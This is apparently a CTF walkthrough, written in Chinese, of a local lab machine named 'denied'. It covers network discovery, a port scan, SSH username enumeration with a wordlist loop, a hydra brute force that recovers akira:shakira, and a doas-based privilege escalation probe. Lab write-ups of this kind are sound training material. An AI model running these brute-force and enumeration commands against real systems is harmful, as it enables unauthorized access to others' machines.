❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.205 08:00:27:8d:4f:91 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e7:07:97 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.110 seconds (121.33 hosts/sec). 4 responded ❯ export ip=192.168.60.205 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- TreadStone was here 🚀 [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.205:22 Open 192.168.60.205:80 Open 192.168.60.205:8080 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-30 08:42 CST Initiating ARP Ping Scan at 08:42 Scanning 192.168.60.205 [1 port] Completed ARP Ping Scan at 08:42, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 08:42 Completed Parallel DNS resolution of 1 host. at 08:42, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 08:42 Scanning 192.168.60.205 [3 ports] Discovered open port 8080/tcp on 192.168.60.205 Discovered open port 22/tcp on 192.168.60.205 Discovered open port 80/tcp on 192.168.60.205 Completed SYN Stealth Scan at 08:42, 0.07s elapsed (3 total ports) Nmap scan report for 192.168.60.205 Host is up, received arp-response (0.00089s latency). Scanned at 2025-05-30 08:42:57 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 8080/tcp open http-proxy syn-ack ttl 64 MAC Address: 08:00:27:8D:4F:91 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
❯ ssh aaa@$ip The authenticity of host '192.168.60.205 (192.168.60.205)' can't be established. ED25519 key fingerprint is SHA256:4K6G5c0oerBJXgd6BnT2Q3J+i/dOR4+6rQZf20TIk/U. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.205' (ED25519) to the list of known hosts. [email protected]: Permission denied (publickey).
结合靶机名字来猜，是否需要特定的用户名才不会被denied
得到akira用户不会被拒绝，说明靶机中存在此用户
1 2 3
❯ for i in $(cat /usr/share/seclists/Usernames/Names/names.txt);do ssh $i@$ip ;done ……………………………… [email protected]'s password:
尝试爆破一下，凭证为akira:shakira
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
❯ hydra -l akira -P /usr/share/wordlists/rockyou.txt ssh://$ip -I -e nsr Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-30 09:00:06 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344402 login tries (l:1/p:14344402), ~896526 tries per task [DATA] attacking ssh://192.168.60.205:22/ [STATUS] 306.00 tries/min, 306 tries in 00:01h, 14344097 to doin 781:17h, 15 active [22][ssh] host: 192.168.60.205 login: akira password: shakira 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 1 final worker threads did not complete until end. [ERROR] 1 target did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-30 09:02:12
akira@denied:~$ for i in $(ls /usr/bin);do doas -u root /usr/bin/$i 2>&1 |grep -v not;done choom: no se ha especificado ni PID ni ORDEN Escriba 'choom --help' para obtener más información.
